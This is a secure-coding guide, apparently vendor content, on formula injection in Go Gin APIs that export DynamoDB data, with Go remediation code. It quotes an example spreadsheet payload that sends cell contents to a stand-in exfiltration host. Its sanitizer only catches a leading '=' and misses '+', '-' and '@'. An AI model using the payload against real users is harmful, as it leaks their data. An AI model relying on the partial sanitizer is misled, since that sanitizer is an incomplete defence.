Formula Injection in Gin with Dynamodb

Formula Injection occurs when user-controlled data is interpreted as a formula (e.g., Excel-style expressions) by a downstream system, leading to unintended evaluation or data leakage. In a Gin-based Go API that uses Amazon DynamoDB as a backend, this typically arises when query parameters or request payload fields are passed into DynamoDB expressions or are reflected into responses that downstream tools (such as spreadsheets or reporting systems) may evaluate.

DynamoDB itself does not evaluate formulas, but the way data is structured and returned can enable Formula Injection when combined with unsafe handling in Gin handlers. For example, if a Gin endpoint accepts a query parameter like expression and uses it to construct a DynamoDB FilterExpression or to build a response that is later consumed by a tool that parses formulas (e.g., Excel or Google Sheets via CSV export), attacker-controlled input can cause unexpected behavior.

Consider a Gin handler that exports user data to a CSV for download. If the handler pulls items from DynamoDB and directly injects user-supplied fields (such as name or email) into the CSV without sanitization, an attacker could supply a value like =1+2 or =HYPERLINK("http://exfiltrate.com/"&A1). When the CSV is opened in Excel, these formulas execute, potentially triggering unwanted HTTP requests or data manipulation.

Another scenario involves using DynamoDB expression attribute values that are later used in application-level templating or logging. If a Gin route uses a path parameter such as :userID to build a DynamoDB key condition, and then echoes that parameter in a JSON response that is further processed by a frontend framework or reporting tool, a formula payload in userID may be misinterpreted when rendered in a spreadsheet or BI tool.

Because DynamoDB stores data as strongly typed attributes (strings, numbers, binary), the risk is not in DynamoDB evaluating the formula, but in how the retrieved data is handled downstream. Gin applications that expose DynamoDB data without output encoding or input validation create a conduit for Formula Injection, especially when combined with features like CSV export, dynamic query building, or reflection of user input into expression fields.

Real-world patterns include:

• Using user-controlled query parameters to construct DynamoDB FilterExpression strings without escaping.
• Returning raw attribute values (e.g., S type strings) in API responses that are later consumed by tools that parse formulas.
• Building CSV or TSV exports directly from DynamoDB scan results and serving them via Gin routes without sanitizing text values.

To detect this with middleBrick, a scan of the Gin endpoint would include checks for improper handling of user input in response generation and validation of output encoding, surfaced as part of the Data Exposure and Input Validation checks.

Remediation focuses on strict separation of data and control logic, safe construction of DynamoDB expressions, and output sanitization before returning data to clients or export formats.

1. Avoid string-based expression building

Never concatenate user input into DynamoDB expression strings. Use expression attribute names and values explicitly.

// Unsafe: direct string concatenation
// expr := "attribute_exists(" + userInput + ")"

// Safe: use ExpressionAttributeNames and ExpressionAttributeValues
params := &dynamodb.ScanInput{
    TableName: aws.String("users"),
    FilterExpression: aws.String("#status = :statusVal"),
    ExpressionAttributeNames: map[string]string{
        "#status": "status",
    },
    ExpressionAttributeValues: map[string]types.AttributeValue{
        ":statusVal": &types.AttributeValueMemberS{Value: "active"},
    },
}
result, err := client.Scan(context.TODO(), params)

2. Sanitize outputs intended for spreadsheets or templating

If your Gin endpoint serves CSV or JSON that may be opened in Excel, prefix or escape values that could be interpreted as formulas.

import (
    "github.com/gin-gonic/gin"
    "strings"
)

func exportUsers(c *gin.Context) {
    // Assume items retrieved from DynamoDB
    items := []map[string]string{{"name": "=1+2", "email": "test@example.com"}}

    for i := range items {
        if strings.HasPrefix(items[i]["name"], "=") {
            items[i]["name"] = "\t" + items[i]["name"] // Force text interpretation in Excel
        }
    }
    c.Data(200, "text/csv", []byte(serializeCSV(items)))
}

func serializeCSV(items []map[string]string) []byte {
    // simplified CSV serializer
    var b strings.Builder
    b.WriteString("name,email\n")
    for _, item := range items {
        b.WriteString(item["name"])
        b.WriteByte(',')
        b.WriteString(item["email"])
        b.WriteByte('\n')
    }
    return []byte(b.String())
}

3. Validate and restrict user input used in key expressions

Ensure that user input used in partition key or sort key conditions conforms to expected patterns.

func getUser(c *gin.Context) {
    userID := c.Param("userID")
    if !isValidUserID(userID) {
        c.AbortWithStatusJSON(400, gin.H{"error": "invalid user ID"})
        return
    }
    params := &dynamodb.GetItemInput{
        TableName: aws.String("users"),
        Key: map[string]types.AttributeValue{
            "user_id": &types.AttributeValueMemberS{Value: userID},
        },
    }
    out, err := client.GetItem(context.TODO(), params)
    if err != nil {
        c.AbortWithStatusJSON(500, gin.H{"error": "server error"})
        return
    }
    c.JSON(200, out.Item)
}

func isValidUserID(id string) bool {
    // Allow only alphanumeric and safe characters
    for _, r := range id {
        if !(r >= 'a' && r <= 'z' || r >= 'A' && r <= 'Z' || r >= '0' && r <= '9' || r == '-' || r == '_') {
            return false
        }
    }
    return id != "" && len(id) <= 64
}

4. Use middleware to normalize and log safely

Add Gin middleware to detect and reject suspicious formula-like inputs in sensitive parameters.

func FormulaInjectionMiddleware() gin.HandlerFunc {
    return func(c *gin.Context) {
        query := c.Request.URL.Query()
        for key, values := range query {
            for _, v := range values {
                if strings.HasPrefix(v, "=") || strings.Contains(v, "://") && strings.Contains(v, "cmd=") {
                    c.AbortWithStatusJSON(400, gin.H{"error": "invalid query parameter: " + key})
                    return
                }
            }
        }
        c.Next()
    }
}

By combining DynamoDB best practices with careful output handling in Gin, you reduce the risk of Formula Injection while preserving functionality. middleBrick scans can help identify endpoints where user input reaches response generation without adequate sanitization, as part of its Input Validation and Data Exposure checks.